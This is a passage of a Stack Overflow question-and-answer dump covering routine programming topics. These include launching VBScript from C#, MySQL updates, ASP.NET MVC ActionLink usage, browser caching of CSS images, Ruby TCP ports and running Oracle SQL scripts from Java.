"text": "CONSTRAINT a_journal_must_have_a_journal_title\n CHECK ( type <> 'journal' OR journal_title IS NOT NULL );\n\nCONSTRAINT a_journal_must_have_an_article_title \n CHECK ( type <> 'journal' OR article_title IS NOT NULL );\n\nCONSTRAINT a_journal_must_have_a_page_number \n CHECK ( type <> 'journal' OR page_number IS NOT NULL );\n\nCONSTRAINT a_journal_cannot_have_a_publisher \n CHECK ( type <> 'journal' OR publisher IS NULL );\n\nCONSTRAINT a_journal_cannot_have_a_publication_date \n CHECK ( type <> 'journal' OR publication_date IS NULL );\n\nCONSTRAINT a_book_cannot_have_a_journal_title \n CHECK ( type <> 'book' OR journal_title IS NULL );\n\nCONSTRAINT a_book_cannot_have_a_article_title \n CHECK ( type <> 'book' OR article_title IS NULL );\n\nCONSTRAINT a_book_cannot_have_a_page_number \n CHECK ( type <> 'book' OR page_number IS NULL );\n\nCONSTRAINT a_book_must_have_a_publisher \n CHECK ( type <> 'book' OR publisher IS NOT NULL );\n\nCONSTRAINT a_jbook_must_have_a_publication_date \n CHECK ( type <> 'book' OR publication_date IS NOT NULL );\n"
},
{
"answer_id": 200896,
"author": "Keith Williams",
"author_id": 20376,
"author_profile": "https://Stackoverflow.com/users/20376",
"pm_score": 0,
"selected": false,
"text": "GetFolder"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200394",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1912/"
] |
200,422
|
<p>I need to call a <a href="http://en.wikipedia.org/wiki/VBScript" rel="noreferrer">VBScript</a> file (.vbs file extension) in my C# Windows application.
How can I do this? </p>
<p>There is an add-in to access a VBScript file
in Visual Studio.
But I need to access the script in code behind. How to do this?</p>
|
[
{
"answer_id": 200429,
"author": "Ilya Kochetov",
"author_id": 15329,
"author_profile": "https://Stackoverflow.com/users/15329",
"pm_score": 7,
"selected": true,
"text": "System.Diagnostics.Process.Start(@\"cscript //B //Nologo c:\\scripts\\vbscript.vbs\");\n Process scriptProc = new Process();\nscriptProc.StartInfo.FileName = @\"cscript\"; \nscriptProc.StartInfo.WorkingDirectory = @\"c:\\scripts\\\"; //<---very important \nscriptProc.StartInfo.Arguments =\"//B //Nologo vbscript.vbs\";\nscriptProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; //prevent console window from popping up\nscriptProc.Start();\nscriptProc.WaitForExit(); // <-- Optional if you want program running until your script exit\nscriptProc.Close();\n StartInfo cscript"
},
{
"answer_id": 200435,
"author": "Biri",
"author_id": 968,
"author_profile": "https://Stackoverflow.com/users/968",
"pm_score": 2,
"selected": false,
"text": "Process.Start(path);\n Process.Start(\"cscript path\\\\to\\\\script.vbs\");\n"
},
{
"answer_id": 39721935,
"author": "JsAndDotNet",
"author_id": 852806,
"author_profile": "https://Stackoverflow.com/users/852806",
"pm_score": 1,
"selected": false,
"text": "string scriptName = \"myScript.vbs\"; // full path to script\nint abc = 2;\nstring name = \"Serrgggio\";\n\nProcessStartInfo ps = new ProcessStartInfo();\nps.FileName = \"cscript.exe\";\nps.Arguments = string.Format(\"\\\"{0}\\\" \\\"{1}\\\" \\\"{2}\\\"\", scriptName, abc, name);\n//This will equate to running via the command line:\n// > cscript.exe \"myScript.vbs\" \"2\" \"Serrgggio\"\nProcess.Start(ps);\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200422",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22162/"
] |
200,430
|
<p>I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. </p>
<p>I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct?</p>
<p>If not can anybody point me in the right direction using sql? </p>
<pre><code>UPDATE products SET products_ordered = (
SELECT SUM(products_quantity)
FROM orders_products
WHERE products_id = products.products_id
);
</code></pre>
<p>or:</p>
<pre><code>Create temporary table my_temp_table
as
SELECT products_id, SUM(products_quantity) as total
FROM orders_products
GROUP BY products_id
UPDATE products, my_temp_table
SET products.products_ordered = my_temp_table.total
WHERE products.products_id = my_temp_table.products_id
</code></pre>
|
[
{
"answer_id": 201664,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 3,
"selected": true,
"text": "SELECT CONCAT( \n 'UPDATE products SET products_ordered = ', \n SUM(products_quantity), \n ' WHERE product_id = ', products_id, ';') AS sql_statement\nFROM orders_products\nGROUP BY products_id;\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200430",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9948/"
] |
200,439
|
<p>I'm sorry for this very newbish question, I'm not much given into web development. I've got this cool JavaScript in a .js file that we want to use on a small web site. (It's a script to run Cooliris on it).</p>
<p>How do use the .js file or attach it to my HTML code?</p>
|
[
{
"answer_id": 200448,
"author": "gizmo",
"author_id": 9396,
"author_profile": "https://Stackoverflow.com/users/9396",
"pm_score": 3,
"selected": false,
"text": "<script type=\"text/javascript\" src=\"myfile.js\"></script>\n"
},
{
"answer_id": 200453,
"author": "Tamas Czinege",
"author_id": 8954,
"author_profile": "https://Stackoverflow.com/users/8954",
"pm_score": 6,
"selected": true,
"text": "<script type=\"text/javascript\" src=\"yourfile.js\"></script>\n"
},
{
"answer_id": 8102757,
"author": "iKushal",
"author_id": 1037592,
"author_profile": "https://Stackoverflow.com/users/1037592",
"pm_score": 0,
"selected": false,
"text": "<html>\n <head>\n <script type=\"text/javascript\" src=\"url+yourfilename.js\"></script>\n </head>\n</html>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200439",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26004/"
] |
200,447
|
<p>I am trying to setup tracd for the project I am currently working on.
After creating a password file with the python script given in the <a href="http://trac.edgewall.org/wiki/TracStandalone" rel="noreferrer">site</a> I am trying to start the server with authentication on. But it throws up warning saying No users found in the realm. What actually is a realm - I tried using trac as the value and also tried leaving it empty. I am using Windows XP. I am using Tracd Standalone server.</p>
<p>The Command Line sent was: tracd --port 8000 --auth=My_Test_Project,D:\My_Test_Project\Documents\Trac\digest.txt,Trac D:\My_Test_Project\Documents\Trac</p>
<p>The Warning message was - 'Warning: found no users in realm: trac'</p>
<p>Thanks...</p>
|
[
{
"answer_id": 3844015,
"author": "spade78",
"author_id": 397366,
"author_profile": "https://Stackoverflow.com/users/397366",
"pm_score": 3,
"selected": false,
"text": "username:realm:passwordhash python trac-digest.py -u user -p pass >> digest.txt\n user:trac:1d395970d2a9a075d0536a4d6e4d0679\n python trac-digest.py -u user -p pass -r realm >> digest.txt\n user:realm:1d395970d2a9a075d0536a4d6e4d0679\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200447",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13440/"
] |
200,469
|
<p>What is the technical difference between a process and a thread?</p>
<p>I get the feeling a word like 'process' is overused and there are also hardware and software threads. How about light-weight processes in languages like <a href="http://en.wikipedia.org/wiki/Erlang_%28programming_language%29" rel="noreferrer">Erlang</a>? Is there a definitive reason to use one term over the other?</p>
|
[
{
"answer_id": 19518207,
"author": "Robert S. Barnes",
"author_id": 71074,
"author_profile": "https://Stackoverflow.com/users/71074",
"pm_score": 8,
"selected": false,
"text": "Per process items | Per thread items\n------------------------------|-----------------\nAddress space | Program counter\nGlobal variables | Registers\nOpen files | Stack\nChild processes | State\nPending alarms |\nSignals and signal handlers |\nAccounting information |\n"
},
{
"answer_id": 38944925,
"author": "Rachit Tayal",
"author_id": 6620090,
"author_profile": "https://Stackoverflow.com/users/6620090",
"pm_score": 4,
"selected": false,
"text": ".text .bss task_struct task_struct tgid pid"
},
{
"answer_id": 61854487,
"author": "Giorgos Myrianthous",
"author_id": 7131757,
"author_profile": "https://Stackoverflow.com/users/7131757",
"pm_score": 2,
"selected": false,
"text": "Thread 1 Thread 2 Thread 3\n | \n | \n |\n |\n |\n |\n |\n |\n |\n |\n | \n | \nComplete Complete Complete\n Process 1 Process 2 Process 3\n | | |\n | | |\n | | |\n | | |\n | | |\n | | |\nComplete Complete Complete\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200469",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27081/"
] |
200,470
|
<p>We have found out that Firefox (at least v3) and Safari don't properly cache images referenced from a css file. The images are cached, but they are never refreshed, even if you change them on the server. Once Firefox has the image in the cache, it will never check if it has changed.</p>
<p>Our css file looks like this:</p>
<pre><code>div#news {
background: #FFFFFF url(images/newsitem_background.jpg) no-repeat;
...
}
</code></pre>
<p>The problem is that if we now change the newsitem_background.jpg image, all Firefox users will still get the old image, unless they explicitly refresh the page. IE on the other hand, detects that the image has changed and reloads it automatically.</p>
<p>Is this a known problem? Any workarounds? Thanks!</p>
<p>EDIT: The solution is not to press F5. I can do this. But our clients will just visit our web site, and get the old, outdated graphics. How would they know they would need to press F5?</p>
<p>I have installed Firebug and confirmed what I already suspected: Firefox just doesn't even try to retrieve images referenced from a css file, to find out if they have been changed. When you press F5, it does check all images, and the web server nicely responds with 304, except for those that <em>have</em> changed, where it responds with 200 OK.</p>
<p>So, is there a way to urge Firefox to <em>automatically</em> update an image that is referenced from a css file? Surely I'm not the only one with this problem?</p>
<p>EDIT2: I tested this with localhost, and the image response doesn't contain any caching information, it's:</p>
<pre><code>Server Microsoft-IIS/5.1
X-Powered-By ASP.NET
Date Tue, 14 Oct 2008 11:01:27 GMT
Content-Type image/jpeg
Accept-Ranges bytes
Last-Modified Tue, 14 Oct 2008 11:00:43 GMT
Etag "7ab3aa1aec2dc91:9f4"
Content-Length 61196
</code></pre>
<p>EDIT3: I've done some more reading and it looks like it just can't be fixed, since Firefox, or most browser, will just assume an image doesn't change very often (expires header and all).</p>
|
[
{
"answer_id": 200868,
"author": "PhiLho",
"author_id": 15459,
"author_profile": "https://Stackoverflow.com/users/15459",
"pm_score": 2,
"selected": false,
"text": "site-look-124.css newsitem_background-7.jpg."
},
{
"answer_id": 200922,
"author": "Jrgns",
"author_id": 6681,
"author_profile": "https://Stackoverflow.com/users/6681",
"pm_score": 0,
"selected": false,
"text": "div#news {\n background: #FFFFFF url(images/background.php?name=newsitem) no-repeat;\n ...\n}\n <?php\n$name = isset($_REQUEST['name']) ? $_REQUEST['name'] : false;\nswitch($name) {\n case 'newsitem':\n $filename = 'news_item_background.jpg';\n break;\n default:\n $filename = 'common_background.jpg';\n break;\n}\n\nheader(\"Content-Type: image/jpeg\");\nheader(\"Content-Transfer-Encoding: binary\");\n$fp = fopen($filename , \"r\");\nif ($fp) fpassthru($fp);\n"
},
{
"answer_id": 200936,
"author": "Raleigh Buckner",
"author_id": 1153,
"author_profile": "https://Stackoverflow.com/users/1153",
"pm_score": 4,
"selected": true,
"text": "div#news {\n background: url(images/newsitem_background.jpg?v=00001) no-repeat;\n ...\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200470",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12416/"
] |
200,476
|
<p>Let's say I have a class</p>
<pre><code>public class ItemController:Controller
{
public ActionResult Login(int id)
{
return View("Hi", id);
}
}
</code></pre>
<p>On a page that is not located at the Item folder, where <code>ItemController</code> resides, I want to create a link to the <code>Login</code> method. So which <code>Html.ActionLink</code> method I should use and what parameters should I pass?</p>
<p>Specifically, I am looking for the replacement of the method </p>
<pre><code>Html.ActionLink(article.Title,
new { controller = "Articles", action = "Details",
id = article.ArticleID })
</code></pre>
<p>that has been retired in the recent ASP.NET MVC incarnation. </p>
|
[
{
"answer_id": 201206,
"author": "Adhip Gupta",
"author_id": 384,
"author_profile": "https://Stackoverflow.com/users/384",
"pm_score": 4,
"selected": false,
"text": "Html.ActionLink(article.Title, \"Login/\" + article.ArticleID, 'Item\") \n"
},
{
"answer_id": 201341,
"author": "Joseph Kingry",
"author_id": 3046,
"author_profile": "https://Stackoverflow.com/users/3046",
"pm_score": 10,
"selected": true,
"text": "Html.ActionLink(article.Title, \n \"Login\", // <-- Controller Name.\n \"Item\", // <-- ActionMethod\n new { id = article.ArticleID }, // <-- Route arguments.\n null // <-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n public static string ActionLink(this HtmlHelper htmlHelper, \n string linkText,\n string controllerName,\n string actionName,\n object values, \n object htmlAttributes)\n Html.ActionLink(article.Title, \n \"Item\", // <-- ActionMethod\n \"Login\", // <-- Controller Name.\n new { id = article.ArticleID }, // <-- Route arguments.\n null // <-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n public static string ActionLink(this HtmlHelper htmlHelper, \n string linkText,\n string actionName,\n string controllerName,\n object values, \n object htmlAttributes)\n Html.ActionLink(article.Title, \n \"Item\", // <-- ActionMethod\n \"Login\", // <-- Controller Name.\n new { article.ArticleID }, // <-- Route arguments.\n null // <-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n <a href=\"/Item/Login/5\">Title</a> \n article.Title = \"Title\" article.ArticleID = 5 routes.MapRoute(\n \"Default\", // Route name\n \"{controller}/{action}/{id}\", // URL with parameters\n new { controller = \"Home\", action = \"Index\", id = \"\" } // Parameter defaults\n);\n"
},
{
"answer_id": 201689,
"author": "Haacked",
"author_id": 598,
"author_profile": "https://Stackoverflow.com/users/598",
"pm_score": 4,
"selected": false,
"text": "RouteLink()"
},
{
"answer_id": 625937,
"author": "Jeff Widmer",
"author_id": 21579,
"author_profile": "https://Stackoverflow.com/users/21579",
"pm_score": 5,
"selected": false,
"text": "Html.ActionLink(article.Title, \"Login\", \"Item\", new { id = article.ArticleID, title = article.Title }, null)\n"
},
{
"answer_id": 3832168,
"author": "agez",
"author_id": 323418,
"author_profile": "https://Stackoverflow.com/users/323418",
"pm_score": 4,
"selected": false,
"text": "Html.ActionLink(article.Title, \n \"Login\", // <-- ActionMethod\n \"Item\", // <-- Controller Name\n new { id = article.ArticleID }, // <-- Route arguments.\n null // <-- htmlArguments .. which are none\n )\n"
},
{
"answer_id": 3896464,
"author": "Hasan",
"author_id": 470946,
"author_profile": "https://Stackoverflow.com/users/470946",
"pm_score": 4,
"selected": false,
"text": "<%=Html.ActionLink(\"Get Involved\", \n \"Show\", \n \"Home\", \n new \n { \n id = \"GetInvolved\" \n }, \n new { \n @class = \"menuitem\", \n id = \"menu_getinvolved\" \n }\n )%>\n"
},
{
"answer_id": 20791462,
"author": "Serj Sagan",
"author_id": 550975,
"author_profile": "https://Stackoverflow.com/users/550975",
"pm_score": 3,
"selected": false,
"text": "@(Html.ActionLink<ArticlesController>(x => x.Details(), article.Title, new { id = article.ArticleID }))\n System.Web.Mvc public static class MyProjectExtensions\n{\n public static MvcHtmlString ActionLink<TController>(this HtmlHelper htmlHelper, Expression<Action<TController>> expression, string linkText)\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName));\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n public static MvcHtmlString ActionLink<TController, TAction>(this HtmlHelper htmlHelper, Expression<Action<TController, TAction>> expression, string linkText, object routeValues)\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName, routeValues));\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n public static MvcHtmlString ActionLink<TController>(this HtmlHelper htmlHelper, Expression<Action<TController>> expression, string linkText, object routeValues, object htmlAttributes) where TController : Controller\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var attributes = AnonymousObjectToKeyValue(htmlAttributes);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName, routeValues));\n link.MergeAttributes(attributes, true);\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n private static Dictionary<string, object> AnonymousObjectToKeyValue(object anonymousObject)\n {\n var dictionary = new Dictionary<string, object>();\n\n if (anonymousObject == null) return dictionary;\n\n foreach (PropertyDescriptor propertyDescriptor in TypeDescriptor.GetProperties(anonymousObject))\n {\n dictionary.Add(propertyDescriptor.Name, propertyDescriptor.GetValue(anonymousObject));\n }\n\n return dictionary;\n }\n}\n Route Values HTML Attributes @using YourProject.Controllers web.config <pages><namespaces>"
},
{
"answer_id": 32205023,
"author": "Sohail Malik",
"author_id": 3229279,
"author_profile": "https://Stackoverflow.com/users/3229279",
"pm_score": 1,
"selected": false,
"text": "@Html.ActionLink(department.Name, \"Index\", \"Employee\", new { \n departmentId = department.DepartmentID }, null)\n"
},
{
"answer_id": 32564198,
"author": "guneysus",
"author_id": 1766716,
"author_profile": "https://Stackoverflow.com/users/1766716",
"pm_score": 3,
"selected": false,
"text": "@Html.ActionLink(\n linkText: \"Click Here\",\n actionName: \"Action\",\n controllerName: \"Home\",\n routeValues: new { Identity = 2577 },\n htmlAttributes: null)\n"
},
{
"answer_id": 44034210,
"author": "Serdin Çelik",
"author_id": 7834559,
"author_profile": "https://Stackoverflow.com/users/7834559",
"pm_score": 0,
"selected": false,
"text": "<html>\n<head>\n <meta name=\"viewport\" content=\"width=device-width\" />\n <title>_Layout</title>\n <link href=\"@Url.Content(\"~/Content/bootsrap.min.css\")\" rel=\"stylesheet\" type=\"text/css\" />\n</head>\n<body>\n <div class=\"container\">\n <div class=\"col-md-12\">\n <button class=\"btn btn-default\" type=\"submit\">@Html.ActionLink(\"AnaSayfa\",\"Index\",\"Home\")</button>\n <button class=\"btn btn-default\" type=\"submit\">@Html.ActionLink(\"Hakkımızda\", \"Hakkimizda\", \"Home\")</button>\n <button class=\"btn btn-default\" type=\"submit\">@Html.ActionLink(\"Iletişim\", \"Iletisim\", \"Home\")</button>\n </div> \n @RenderBody()\n <div class=\"col-md-12\" style=\"height:200px;background-image:url(/img/footer.jpg)\">\n\n </div>\n </div>\n</body>\n</html>"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200476",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3834/"
] |
200,483
|
<p>Is there a way to find all the class dependencies of a java main class?</p>
<p>I have been manually sifting through the imports of the main class and it's imports but then realized that, because one does not have to import classes that are in the same package, I was putting together an incomplete list.</p>
<p>I need something that will find dependencies recursively (perhaps to a defined depth).</p>
|
[
{
"answer_id": 49875251,
"author": "Andrushenko Alexander",
"author_id": 6093953,
"author_profile": "https://Stackoverflow.com/users/6093953",
"pm_score": 0,
"selected": false,
"text": "ClassLoader cl = ClassLoader.getSystemClassLoader();\nURL[] urls = ((URLClassLoader) cl).getURLs();\nfor(URL url: urls){\n System.out.println(url.getPath());\n}\n"
},
{
"answer_id": 49986919,
"author": "Daniel Alencar",
"author_id": 4228175,
"author_profile": "https://Stackoverflow.com/users/4228175",
"pm_score": 3,
"selected": false,
"text": "jdeps jdeps -cp <your cp> -v <path to your .class file>\n -regex"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200483",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/939/"
] |
200,484
|
<p>I'm trying to create a use-once HTTP server to handle a single callback and need help with finding a free TCP port in Ruby.</p>
<p>This is the skeleton of what I'm doing:</p>
<pre><code>require 'socket'
t = STDIN.read
port = 8081
while s = TCPServer.new('127.0.0.1', port).accept
puts s.gets
s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t
s.close
exit
end
</code></pre>
<p>(It echoes standard input to the first connection and then dies.)</p>
<p>How can I automatically find a free port to listen on? </p>
<p>This seems to be the only way to start a job on a remote server which then calls back with a unique job ID. This job ID can then be queried for status info. Why the original designers couldn't just return the job ID when scheduling the job I'll never know. A single port cannot be used because conflicts with multiple callbacks may occur; in this way the ports are only used for +- 5 seconds.</p>
|
[
{
"answer_id": 200795,
"author": "Marius Marais",
"author_id": 13455,
"author_profile": "https://Stackoverflow.com/users/13455",
"pm_score": 2,
"selected": false,
"text": "require 'socket'\nt = STDIN.read\n\nport = 8080 # preferred port\nbegin\n server = TCPServer.new('127.0.0.1', port) \nrescue Errno::EADDRINUSE\n port = rand(65000 - 1024) + 1024\n retry\nend\n\n# Start remote process with the value of port\n\nsocket = server.accept\nputs socket.gets\nsocket.print \"HTTP/1.1 200/OK\\rContent-type: text/plain\\r\\n\\r\\n\" + t\nsocket.close\n"
},
{
"answer_id": 201528,
"author": "Aaron Hinni",
"author_id": 12086,
"author_profile": "https://Stackoverflow.com/users/12086",
"pm_score": 6,
"selected": false,
"text": "server = TCPServer.new('127.0.0.1', 0)\nport = server.addr[1]\n"
},
{
"answer_id": 51768770,
"author": "zw963",
"author_id": 749774,
"author_profile": "https://Stackoverflow.com/users/749774",
"pm_score": 0,
"selected": false,
"text": "system('(6<>/dev/tcp/127.0.0.1/9292) &>/dev/null')"
},
{
"answer_id": 52640658,
"author": "yegor256",
"author_id": 187141,
"author_profile": "https://Stackoverflow.com/users/187141",
"pm_score": 1,
"selected": false,
"text": "require 'random-port'\nport = RandomPort::Pool.new.aquire\n RandomPort::Pool::SINGLETON.new.acquire do |port|\n # Use the TCP port, it will be returned back\n # to the pool afterward.\nend\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200484",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13455/"
] |
200,488
|
<p>How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of:</p>
<p>asp:image ID="Image1" runat="server" ImageUrl="~/Web/Mode1.jpg" /</p>
<p>where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.</p>
|
[
{
"answer_id": 200840,
"author": "Joe",
"author_id": 13087,
"author_profile": "https://Stackoverflow.com/users/13087",
"pm_score": 0,
"selected": false,
"text": "<asp:Image runat=\"server\" ImageUrl=\"filename.ext\" />\n <asp:Image runat=\"server\" ImageUrl=\"Web/filename.ext\" />\n <asp:image ID=\"Image1\" runat=\"server\" ImageUrl=\"~/Web/Mode1.jpg\"/> \n"
},
{
"answer_id": 201027,
"author": "Elijah Manor",
"author_id": 4481,
"author_profile": "https://Stackoverflow.com/users/4481",
"pm_score": 5,
"selected": true,
"text": "<asp:Image runat=\"server\" SkinId=\"HomeImage\" ImageUrl=\"Images/HomeImage.gif\" />\n <asp:Image runat=\"server\" SkinId=\"HomeImage\" />\n MyWebSite\n App_Themes\n Theme1\n Default.skin\n Default.css\n Images\n HomeImage.gif\n Theme2\n Default.skin\n Default.css\n Images\n HomeImage.gif\n"
},
{
"answer_id": 230487,
"author": "dewde",
"author_id": 2640,
"author_profile": "https://Stackoverflow.com/users/2640",
"pm_score": 2,
"selected": false,
"text": "Private strThemePath As String = \"\"\nPrivate strThemedImagePath As String = \"\"\n\nPublic Function ThemedImage(ByVal ImageName As String) As String\n Return Me.strThemedImagePath & ImageName\nEnd Function\n\nPrivate Sub Page_PreInit(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreInit \n Me.strThemePath = \"App_Themes/\" & Me.Theme & \"/\"\n Me.strThemedImagePath = Me.strThemePath & \"Images/\"\nEnd Sub\n <img src='<%= Me.ThemedImage(\"Loading_wait.gif\") %>'> \n"
},
{
"answer_id": 330329,
"author": "Sprintstar",
"author_id": 15233,
"author_profile": "https://Stackoverflow.com/users/15233",
"pm_score": 0,
"selected": false,
"text": "<page theme=\"MyTheme\"> <asp:Hyperlink runat=\"Server\" SkinId=\"HyperlinkOne\"\nImageUrl=\"Images/one.png\" Text=\"One\" NavigateUrl=\"~/PageOne.aspx\"/>\n HyperLink hl = new HyperLink();\nhl.SkinID = \"HyperlinkOne\";\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200488",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16989/"
] |
200,499
|
<p>Does anybody have a keybinding scheme similar to VS 2005 available for Eclipse?</p>
<p>How to import it into preferences of Eclipse (I see only export button).</p>
|
[
{
"answer_id": 544635,
"author": "Luke Quinane",
"author_id": 18437,
"author_profile": "https://Stackoverflow.com/users/18437",
"pm_score": 4,
"selected": false,
"text": "Eclipse Platform\n\nVersion: 3.4.1\nBuild id: M20080911-1700\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200499",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/501/"
] |
200,513
|
<p>i have a bunch of sql scripts that should upgrade the database when the java web application starts up.</p>
<p>i tried using the ibatis scriptrunner, but it fails gloriously when defining triggers, where the ";" character does not mark an end of statement.</p>
<p>now i have written my own version of a script runner, which basically does the job, but destroys possible formatting and comments, especially in "create or replace view".</p>
<pre><code>public class ScriptRunner {
private final DataSource ds;
public ScriptRunner(DataSource ds) {
this.ds = ds;
}
public void run(InputStream sqlStream) throws SQLException, IOException {
sqlStream.reset();
final Statement statement = ds.getConnection().createStatement();
List<String> sqlFragments = createSqlfragments(sqlStream);
for (String toRun : sqlFragments) {
if (toRun.length() > 0) {
statement.execute(toRun);
}
}
}
private static List<String> createSqlfragments(InputStream sqlStream) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream));
List<String> ret = new ArrayList<String>();
String line;
StringBuilder script = new StringBuilder();
while ((line = br.readLine()) != null) {
if (line.equals("/")) {
ret.add(removeMultilineComments(script));
script = new StringBuilder();
} else {
//strip comments
final int indexComment = line.indexOf("--");
String lineWithoutComments = (indexComment != -1) ? line.substring(0, indexComment) : line;
script.append(lineWithoutComments).append(" ");
}
}
if (script.length() > 0) {
ret.add(removeMultilineComments(script));
}
return ret;
}
private static String removeMultilineComments(StringBuilder script) {
return script.toString().replaceAll("/\\*(.*?)\\*/", "").trim();
}
</code></pre>
<p>is there a clean way to acieve this? is there something in hibernate i have not seen?
or can i pass an inputstream to sqlplus somehow?
besides my worries about the formatting, i doubt that this code is error-free, since i have limited knowledge about the pl/sql syntax.</p>
|
[
{
"answer_id": 232854,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "setDelimiter(String, boolean) runScript setDelimter(\"/\", false)"
},
{
"answer_id": 2251863,
"author": "Nitin",
"author_id": 271837,
"author_profile": "https://Stackoverflow.com/users/271837",
"pm_score": 3,
"selected": false,
"text": "private static String script_location = \"\";\nprivate static String file_extension = \".sql\";\nprivate static ProcessBuilder processBuilder =null;\n\npublic static void main(String[] args) {\n try {\n File file = new File(\"C:/Script_folder\");\n File [] list_files= file.listFiles(new FileFilter() {\n\n public boolean accept(File f) {\n if (f.getName().toLowerCase().endsWith(file_extension))\n return true;\n return false;\n }\n });\n for (int i = 0; i<list_files.length;i++){\n script_location = \"@\" + list_files[i].getAbsolutePath();//ORACLE\n processBuilder = new ProcessBuilder(\"sqlplus\", \"UserName/Password@database_name\", script_location); //ORACLE\n //script_location = \"-i\" + list_files[i].getAbsolutePath();\n // processBuilder = new ProcessBuilder(\"sqlplus\", \"-Udeep-Pdumbhead-Spc-de-deep\\\\sqlexpress-de_com\",script_location);\n processBuilder.redirectErrorStream(true);\n Process process = processBuilder.start();\n BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));\n String currentLine = null;\n while ((currentLine = in.readLine()) != null) {\n System.out.println(\" \" + currentLine);\n }\n }\n } catch (IOException e) {\n e.printStackTrace();\n }catch(Exception ex){\n ex.printStackTrace();\n }\n}\n"
},
{
"answer_id": 7818205,
"author": "alf",
"author_id": 562388,
"author_profile": "https://Stackoverflow.com/users/562388",
"pm_score": 2,
"selected": false,
"text": "sqlplus / EXIT --"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200513",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16542/"
] |
200,525
|
<p>Here is the input (html, not xml):</p>
<pre><code>... html content ...
<tag1> content for tag 1 </tag1>
<tag2> content for tag 2 </tag2>
<tag3> content for tag 3 </tag3>
... html content ...
</code></pre>
<p>I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal.</p>
<p>In other words:</p>
<pre><code>match.Groups["name"] would be "tag1"
match.Groups["value"] would be "content for tag 2"
</code></pre>
<p>Any ideas?</p>
|
[
{
"answer_id": 200540,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 1,
"selected": false,
